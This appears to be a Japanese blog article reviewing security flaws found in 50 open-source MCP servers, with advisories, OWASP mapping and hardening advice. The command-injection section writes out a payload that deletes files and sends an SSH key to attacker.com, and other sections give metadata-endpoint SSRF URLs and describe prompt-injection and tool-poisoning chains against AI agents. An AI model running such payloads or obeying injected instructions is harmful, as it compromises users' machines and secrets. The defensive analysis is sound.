技術 約19分で読めます

オープンソースMCPサーバー50件をスキャンして見つかった脆弱性の実態

いけさん目次

MCPサーバーは便利だ。Claude Code、Cursor、Windsurfのセッション内でファイルシステム・環境変数・ネットワークに直接アクセスし、エージェントの手足として機能する。だが「便利」と「安全」は同義ではない。

Atlas Whoffが50件のオープンソースMCPサーバーを対象にセキュリティスキャンを実施し、その結果をDEV Communityで公開した。数字はかなり厳しい。そして、この結果は無名のサーバーに限った話ではない。Microsoft公式のPlaywright MCPやAnthropicの公式MCPサーバーリポジトリに含まれていたPuppeteer MCPなど、利用者数が万単位のサーバーでも実際に脆弱性が見つかっている。「CLIで直接叩いたほうが安全では?」という疑問にも後半で触れる。

5カテゴリの脆弱性と検出率

22のルールを10カテゴリに分類したスキャナーで50件のMCPサーバーを検査した結果、主要な脆弱性は以下の分布だった。

脆弱性カテゴリ影響率深刻度
入力バリデーション欠如61%
コマンドインジェクションリスク43%致命的
パストラバーサル31%
ハードコードされたシークレット27%
SSRF(Server-Side Request Forgery)18%中〜高

半数以上のサーバーで入力バリデーションが欠如しており、4割超がコマンドインジェクションのリスクを抱えている。これらは「理論上の問題」ではなく、MCPサーバーがホスト環境で直接実行権限を持つ以上、即座に悪用可能な実装上の欠陥だ。

利用者数の多いMCPサーバーで見つかった脆弱性

npmダウンロード数が数万〜十数万規模の有名MCPサーバーでも、実際に脆弱性が報告されている。

Playwright MCPのDNSリバインディング(Microsoft公式)

Microsoft公式のPlaywright MCPのv0.0.39以下で、DNSリバインディング攻撃によりローカルで動作中のMCPサーバーの全ツールを外部から操作可能な脆弱性が見つかった(GHSA-8rgw-6xp9-2fg3)。

原因はOriginヘッダーの検証欠如だ。MCP仕様は「Servers MUST validate the Origin header」と明記しているが、Playwright MCPはこれを実装していなかった。攻撃者は悪意あるWebページを用意し、被害者がそのページを開くだけで、ローカルのMCPサーバー経由でファイル操作やブラウザ自動化を実行できる。

v0.0.40でサイレントパッチされたが、MicrosoftはCVEを割り当てていない。

Puppeteer MCPのSSRFとプロンプトインジェクション(公式MCPサーバー集)

Anthropicの公式MCPサーバーリポジトリに含まれていたPuppeteer MCP(npmで月間約91,000ダウンロード、現在アーカイブ済みだが利用は継続中)には複数の脆弱性があった。

まずSSRF。puppeteer_navigateがURLフィルタリングなしで、file:///etc/passwdやAWSメタデータエンドポイント(169.254.169.254)にアクセスできた。加えて間接プロンプトインジェクションも可能で、悪意あるWebページが隠しテキストでLLMにJavaScript実行を指示し、Cookie窃取や内部ネットワークへのアクセスが成立する。

ブラウザ操作系のMCPサーバーはURLを介して外部コンテンツに触れるため、SSRFとプロンプトインジェクションの複合攻撃が特に刺さりやすい。

Kubernetes MCPのコマンドインジェクション(2件パッチ済み)

mcp-server-kubernetesではexec_in_pod機能でコマンドインジェクションが可能だった(GHSA-gjv4-ghm7-q58qGHSA-wvxp-jp4w-w8wg)。Kubernetesクラスタ内のPodでシェルコマンドを実行するツールに未検証の入力が渡るので、影響範囲はホストOS単体より広い。コンテナをブレイクアウトされればクラスタ全体が危険にさらされる。

mcp-database-serverのread-onlyバイパス(CVE-2025-59333)

mcp-database-serverのread-onlyモードはstartsWith("SELECT")チェックだけで実装されていた。SELECT pg_terminate_backend(pid)でDoS、ストアドプロシージャ経由でデータ改変が可能。素朴な文字列チェックではセキュリティ境界にならないという典型例だ。

adb-mcpのコマンドインジェクション(未修正)

Android Debug Bridge用のadb-mcpでは、deviceパラメータがNode.jsのexec()にそのまま結合される。シェルメタ文字で任意コマンド実行が可能で、深刻度はCRITICAL。修正はされていない。

graph TD
    A["Playwright MCP<br/>DNSリバインディング"] --> E["共通パターン:<br/>入力検証の欠如"]
    B["Puppeteer MCP<br/>SSRF + プロンプトインジェクション"] --> E
    C["Kubernetes MCP<br/>コマンドインジェクション"] --> E
    D["adb-mcp<br/>コマンドインジェクション"] --> E
    E --> F["ホストOS / クラスタ /<br/>内部ネットワークへの<br/>アクセス権限奪取"]

これらはいずれもGitHub Advisoryやイシューで公開されている。修正済みのものもあるが、adb-mcpのように放置されているケースもある。自分が使っているMCPサーバーのバージョンとセキュリティアドバイザリは定期的に確認すべきだ。

入力バリデーション欠如(61%)

最も多かった脆弱性がこれだ。ファイル読み込み系のツールでパスのサニタイズをまったく行っていないサーバーが大量に見つかった。

典型的な脆弱なパターンは、read_file()のような関数がユーザー入力のパスをそのままopen()に渡すケースだ。../../.envのようなパスを指定すれば、MCPサーバーの実行ディレクトリから相対的に任意のファイルを読み取れる。

上述のmcp-database-serverのstartsWith("SELECT")チェックも、入力バリデーション欠如の一形態だ。バリデーションが存在するように見えて実質機能していない「セキュリティシアター」(見せかけだけの対策)は、まったくチェックしないケースより厄介なことがある。開発者が「対策済み」と誤認するからだ。

この問題はOpenClawのSSHサンドボックス脱出脆弱性と構造的に同じだ。OpenClawではsymlinkのバリデーション不備でサンドボックスを脱出できたが、MCPサーバーの場合はそもそもサンドボックスが存在しないケースが多い。パスバリデーションが唯一の防御線であり、それが機能していない。

OpenClawのスキル(プラグイン)全体でも同様の傾向が確認されている。Composioの分析では3,984件中283件(7%)のスキルに重大な脆弱性が見つかり、認証情報の窃取やリモートコード実行が可能な状態だった。MCPサーバーとOpenClawスキルはエコシステムは違うが、「AIエージェントの拡張機能にバリデーションが足りない」という問題は共通している。

コマンドインジェクション(43%)

ユーザー入力をshell=True付きのサブプロセスにそのまま渡すパターンだ。Pythonならsubprocess.run(cmd, shell=True)、Node.jsならchild_process.exec()で文字列連結したコマンドを実行する。

adb-mcpの脆弱性がまさにこれだ。deviceパラメータに; cat /etc/passwdのようなシェルメタ文字を入れるだけで、Node.jsのexec()経由でホスト上の任意コマンドが実行される。Kubernetes MCPもexec_in_podで同じパターンが2件見つかっている。

攻撃者はプロンプトインジェクション経由でMCPツールに悪意ある入力を渡す。たとえばファイル名パラメータに; rm -rf /$(curl attacker.com/exfil?data=$(cat ~/.ssh/id_rsa))を仕込めば、ホストマシン上でそのまま実行される。

ここが通常のWebアプリケーションとMCPサーバーで決定的に違う点だ。Webアプリのコマンドインジェクションは「HTTPリクエスト→サーバー」の経路で発生する。MCPサーバーのコマンドインジェクションは「AI→ツール呼び出し→ホストOS」の経路で発生する。攻撃者が直接HTTPリクエストを送る必要すらなく、AIエージェントが読み込むWebページやドキュメントに間接プロンプトインジェクションを仕込むだけでよい。

同様の問題は別のコーディングエージェントでも繰り返されている。4月に発覚したOpenAI Codexのブランチ名インジェクション経由のGitHubトークン窃取はその典型例で、MCPの外でも同じ設計ミスが起きている(Claude Codeのソースコード全公開とOpenAI Codexのトークン窃取脆弱性が同時期に発覚)。ClineのGitHubイシュータイトルを経由したサプライチェーン攻撃(Clinejection)でも、プロンプトインジェクション→AIエージェントのツール実行→ホスト侵害という同じ攻撃チェーンが実証されている。

graph TD
    A["攻撃者が悪意あるコンテンツを<br/>Webページ/ドキュメントに埋め込む"] --> B["AIエージェントが<br/>コンテンツを読み込む"]
    B --> C["間接プロンプトインジェクションで<br/>MCPツール呼び出しを誘導"]
    C --> D["MCPサーバーが未検証の<br/>入力をshellに渡す"]
    D --> E["ホストOS上で<br/>任意コマンド実行"]
    E --> F["ファイル窃取・環境変数漏洩<br/>リモートシェル確立"]

パストラバーサル(31%)

入力バリデーション欠如と関連するが、こちらはファイルパスの正規化処理(canonicalization)自体が欠落しているケースだ。../を使ったディレクトリトラバーサルで、MCPサーバーが意図したディレクトリ外のファイルにアクセスできてしまう。

Webサーバーでのパストラバーサル対策は20年以上の知見が蓄積されているが、MCPサーバーの開発者はその知見を引き継いでいない場合が多い。個人開発者がPythonで書いた数百行のMCPサーバーに、Webアプリケーションフレームワークが内蔵するようなパスバリデーションは入っていない。

ハードコードされたシークレット(27%)

API_KEY = 'sk-prod-abc123xyz...'のようなパターンがソースコードにそのまま残っているケースだ。MCPサーバーのリポジトリにAPIキーやデータベースパスワードがコミットされている。

この問題自体は古典的だが、MCPサーバーの文脈では追加のリスクがある。MCPサーバーのソースコードはエージェントのコンテキストウィンドウに部分的に読み込まれることがあり、ハードコードされたシークレットがエージェントの応答に混入する可能性がある。さらにtool poisoning攻撃(ツール汚染。ツールの説明文やメタデータに悪意ある命令を埋め込み、AIに意図しない動作をさせる攻撃)と組み合わせれば、エージェントにシークレットを外部に送信させることもできる。

SSRF(18%)

MCPサーバーがURL取得機能を持つ場合に、内部ネットワークへのリクエストを制限していないケースだ。SSRF(Server-Side Request Forgery。サーバーに意図しない内部リクエストを送らせる攻撃)により、http://localhost:3000/adminhttp://169.254.169.254/(クラウドのメタデータエンドポイント)へのアクセスが可能になる。

Puppeteer MCPの事例が典型的だ。puppeteer_navigateツールにURLフィルタリングがなく、file:///etc/passwdでローカルファイルを読み取り、http://169.254.169.254/latest/meta-data/iam/security-credentials/でAWSの一時認証情報を取得できた。ブラウザ操作系のMCPサーバーは攻撃対象のURLを開くことが機能の一部であるため、SSRFとの境界が曖昧になりやすい。

クラウド環境で動作するMCPサーバーの場合、メタデータエンドポイントからIAMロールの一時認証情報を取得され、そこからクラウドリソース全体への横展開(内部横移動)が可能になる。

スキャンから漏れた脅威、DNSリバインディング

今回の50件スキャンでは検査対象外だが、2026年に入ってMCPサーバー全般に影響する深刻な脆弱性クラスが浮上した。DNSリバインディングだ。

SSE(Server-Sent Events)やStreamable HTTPトランスポートを使うMCPサーバーは、ローカルホストでHTTPサーバーとして動作する。DNSリバインディング攻撃では、攻撃者のドメインのDNS応答を最初は攻撃者のIPに、次に127.0.0.1に切り替えることで、ブラウザの同一オリジンポリシーを回避してローカルのMCPサーバーにリクエストを送る。

Playwright MCPの脆弱性はまさにこれで、MCP仕様が求めるOriginヘッダー検証を実装していなかったために、悪意あるWebページを開くだけで全ツールが外部から操作可能になった。

さらに深刻なのは、MCP公式Python SDK自体でDNSリバインディング保護がデフォルト無効(enable_dns_rebinding_protection=False)だったことだ。公式チュートリアル通りにMCPサーバーをデプロイすると、すべてのSSE/HTTPベースのサーバーがこの攻撃に対して無防備になる。SDKレベルの問題なので、個別のサーバー開発者がどれだけ注意しても防げない。

graph TD
    A["被害者が攻撃者のWebページを開く"] --> B["JavaScriptがDNSリバインディングで<br/>localhost:MCPポートにリクエスト"]
    B --> C["Originヘッダー検証なし<br/>リクエスト受理"]
    C --> D["MCPサーバーの全ツールに<br/>外部からアクセス可能"]
    D --> E["ファイル読み書き<br/>シェルコマンド実行<br/>ブラウザ操作"]

OWASP MCP Top 10との対応

OWASPは2025年にMCPサーバー特有の脆弱性をまとめたOWASP MCP Top 10を公開している。今回の調査結果をマッピングすると、以下のカテゴリと直接対応する。

今回の発見OWASP MCP Top 10
ハードコードされたシークレットMCP01 Token Mismanagement & Secret Exposure
コマンドインジェクションMCP05 Command Injection & Execution
入力バリデーション欠如MCP10 Context Injection & Over-Sharing
パストラバーサルMCP02 Privilege Escalation via Scope Creep
SSRFMCP07 Insufficient Authentication & Authorization

加えて、今回の調査対象にはなっていないが、MCP03のTool Poisoning(ツール汚染)はMCPサーバーのサプライチェーンリスクとして特に深刻だ。悪意あるMCPサーバーがツール定義に隠し命令を埋め込み、AIモデルにユーザーの意図しない動作をさせる。Invariant Labsが開発したmcp-scanはこの種の攻撃を検出する専用ツールで、ツールのdescriptionに含まれる不正な命令やrug pull(ツール承認後にdescriptionを差し替える手口)を検知する。

以前AIエージェントのメモリ注入攻撃とサプライチェーン汚染でも触れた通り、MCPサーバーがClawHubやSkillHubなどのマーケットプレイスを通じて配布される場合、npmやPyPIと同じサプライチェーンリスクが発生する。2026年1-2月の2か月間で30件以上のCVEがMCPサーバー・クライアント・インフラに対して報告されており、CVSS 9.6のリモートコード実行脆弱性も含まれている。実際、npmパッケージを標的にしたSANDWORM_MODEワームはClaude Code・Cursor・VS Codeなどの開発環境を狙い撃ちにしており、MCPサーバーの依存パッケージが汚染される経路も現実的だ。

スキャナーの使い方

今回のスキャンに使用されたMCP Security Scannerはオープンソースで公開されている。uvxコマンドで直接実行できる。

uvx mcp-security-scanner scan ./my-mcp-server

22のルールで10カテゴリの脆弱性をチェックする。自分がインストールしようとしているMCPサーバーや、自作のMCPサーバーに対して実行してからデプロイするのが賢明だ。

ツール汚染の検出には別途mcp-scanが使える。MCP Security Scannerがソースコードの静的解析、mcp-scanがツール定義の動的検査という棲み分けだ。

なぜ脅威か

MCPサーバーが通常のnpmパッケージや外部ライブラリと根本的に異なるのは権限範囲だ。通常のnpmパッケージはアプリケーションプロセス内で動くが、動作範囲はコードに記述した処理に限られる。一方MCPサーバーはAIセッションに組み込まれ、ファイルシステムの読み書き、環境変数の参照、シェルコマンドの実行、ネットワークリクエストをAIエージェントの指示に応じて実行する。

Claude Code Channelsのような機能でMCPが外部サービスとの接続口になっている場合(Claude Code Channelsで外部からセッションにイベントをプッシュする)、そのサーバーに脆弱性があると外部入力がそのまま悪用される経路になる。攻撃者がMCPサーバーを踏み台にできれば、AIに「このファイルを読んで」と指示するだけで機密情報を取り出せる。

さらに、AIエージェントのローカル隔離実行で検討したように、macOSのsandbox-execやWindowsサンドボックスでMCPサーバーを隔離するアプローチもあるが、現時点ではほとんどのMCPサーバーがサンドボックスなしで動作している。ユーザーのホームディレクトリ全体にアクセスできる状態で、入力バリデーションが唯一の防御線という構図だ。

対策の基本

  • インストール前にソースコードを読む。小さいサーバーなら数百行程度で現実的
  • ファイルパスは os.path.abspath で正規化し、許可ディレクトリ内かを確認する
  • シェルコマンドは shell=False を使い、引数を配列で渡す(例: subprocess.run(["git", "log", branch_name])
  • 認証情報は環境変数から読む。ソースコードに含めない
  • SSE/HTTPトランスポートを使う場合はOriginヘッダーの検証を実装する。MCP公式SDKのDNSリバインディング保護設定を有効にする
  • URL取得機能を持つサーバーは、file://スキームとプライベートIPアドレス(127.0.0.1169.254.169.254等)をブロックする
  • 入力に対してレート制限とバリデーションを実装する
  • startsWithのような素朴なチェックではなく、パーサーレベルでのバリデーションを行う

構造的な問題

今回の調査が浮き彫りにしたのは、MCPサーバーのセキュリティが「個々のサーバー開発者の意識」に完全に依存している現状だ。npmパッケージやブラウザ拡張機能には少なくともマーケットプレイス側のレビュープロセスがあるが、MCPサーバーにはそれがない。npxuvxでGitHubリポジトリから直接インストールし、ホストマシン上でフルアクセス権限で動作する。

GitHubのエージェント実行基盤はサンドボックスと権限分離でこの問題に対処しようとしているが、ローカル環境で動作するClaude CodeやCursorのMCPサーバーには、ユーザー自身がインストール前に検証する以外の防御策がない状態だ。CloudflareのAIアプリ向けWAFのようなネットワークレベルの防御も、ローカルで動作するMCPサーバーには適用できない。

MCP公式Python SDKでDNSリバインディング保護がデフォルト無効だった件は、個別のサーバー開発者ではなくSDK側の問題だ。エコシステムのインフラ層がセキュアなデフォルトを提供しない限り、この状況は変わらない。

50件中30件以上に脆弱性が見つかった現状で、「そもそもMCPサーバーを使う必要があるのか」を考えてみる。

じゃCLIで直接叩けばいいのか

ここまで読んで「MCPサーバーを挟まずにCLIで直接叩けばよくない?」と思った人は多いはず。実際、脆弱性が報告されたMCPサーバーの多くは既存CLIツールの薄いラッパーだ。

MCPサーバーラップしているもの
adb-mcpadbコマンド
mcp-server-kuberneteskubectlコマンド
mcp-database-serverSQLクライアント
Playwright MCPPlaywrightライブラリ(CDPプロトコル)
Puppeteer MCPPuppeteerライブラリ(CDPプロトコル)

Claude CodeやCursorには組み込みのシェル実行機能がある。kubectl get podsを叩きたければ、MCPサーバーを経由せずエージェントのターミナルから直接実行すればいい。中間層を一枚挟むごとに、バリデーション欠如やコマンドインジェクションという攻撃面が増える。

権限モデルの違い

CLIのほうが安全になりうる最大の理由は、権限モデルの差だ。

Claude Codeでシェルコマンドを実行する場合、コマンドごとにユーザーの承認が求められる(許可リスト設定で自動承認にもできるが、デフォルトは都度確認)。rm -rf /をエージェントが叩こうとしても、ユーザーが「いいえ」を押せば止まる。

MCPサーバー経由だと、ツール利用を一度承認すればその後の個別コマンドは自動実行される。adb-mcpのコマンドインジェクション脆弱性が深刻なのは、ユーザーが「adb-mcpの使用を許可」した時点で、その内部で実行されるすべてのシェルコマンドが承認済みになるからだ。MCPの「ツール単位の承認」は、実質的に「そのツールが内部で実行しうるすべてのコマンドの包括承認」になっている。

graph TD
    subgraph CLI["CLI直接実行"]
        A1["エージェント"] -->|"コマンドごとに承認"| B1["シェル"]
        B1 --> C1["adb / kubectl / git"]
    end
    subgraph MCP["MCP経由"]
        A2["エージェント"] -->|"ツール承認 1回"| B2["MCPサーバー"]
        B2 -->|"内部で自動実行"| C2["adb / kubectl / git"]
    end

CLIで十分な場面

以下のケースでは、MCPサーバーを追加するメリットがほとんどない。

git logkubectl get podsadb devicesのような単発の読み取り系コマンドは、エージェントが直接実行すれば結果をそのまま解釈できる。定型のデプロイスクリプトやビルドコマンドも同じで、MCPサーバー化しても複雑さが増すだけだ。ファイル操作についても、エージェントの組み込み機能(Read/Write/Edit)がすでにある環境では、ファイルシステム系MCPサーバーは冗長になる。

CLIツール自体は長年のセキュリティレビューを経た枯れたコードだ。gitのコマンドパーサーやkubectlの引数処理は堅牢に設計されている。その手前に数百行の未レビューなMCPラッパーを置くことで、せっかくの堅牢さが台無しになっているケースが今回のスキャンで多数見つかった。

それでもMCPが必要な場面

ただし「全部CLIでいい」とはならない。

ブラウザ操作はシェルコマンドだけでは代替しにくい。Playwright MCPが提供するページ解析・スクリーンショット取得・フォーム入力は、curlでHTMLを取って正規表現で解析するのとは次元が違う。DNSリバインディングの修正後(v0.0.40以降)であれば、ブラウザ操作系MCPの価値はリスクに見合う。

MCPの本来の価値はツール定義の型付けと発見機能(discovery)にある。エージェントがどんなツールを使えるか、各パラメータの型と説明をJSON Schemaで記述できる。シェルコマンドの場合は--help出力を読んで引数を推測するしかないが、MCPなら構造化された情報が提供される。複数ツールを組み合わせた複雑なワークフロー、たとえばDBスキーマを理解した上で自然言語からSQLを生成し結果を整形して返すような処理は、MCPのほうが安定する。

外部サービスとのOAuth連携やWebhook受信など、シェルコマンドでは実現しにくい統合機能もMCPの守備範囲だ。

判断基準

MCPサーバーの追加は「便利だから入れる」ではなく「このリスクに見合う機能か」で判断する。

既存CLIの薄いラッパーならCLIを直接使う。攻撃面が増えるだけだ。CLIでは再現しにくい機能、たとえばブラウザ操作やOAuth連携、複雑なAPI統合であればMCPの価値がある。ただしソースの事前確認とバージョン固定は必須。複数ツールの型付きオーケストレーションが必要な場合もMCPのJSON Schemaが活きるが、各ツールのバリデーションは自分で確認する必要がある。

50件中30件以上に脆弱性が見つかった現状、MCPサーバーをnpxでカジュアルに追加する時代は終わった。インストール前にスキャンし、CLIで済むものはCLIで済ませる。MCPの利点が明確な場合だけ、リスクを理解した上で使う。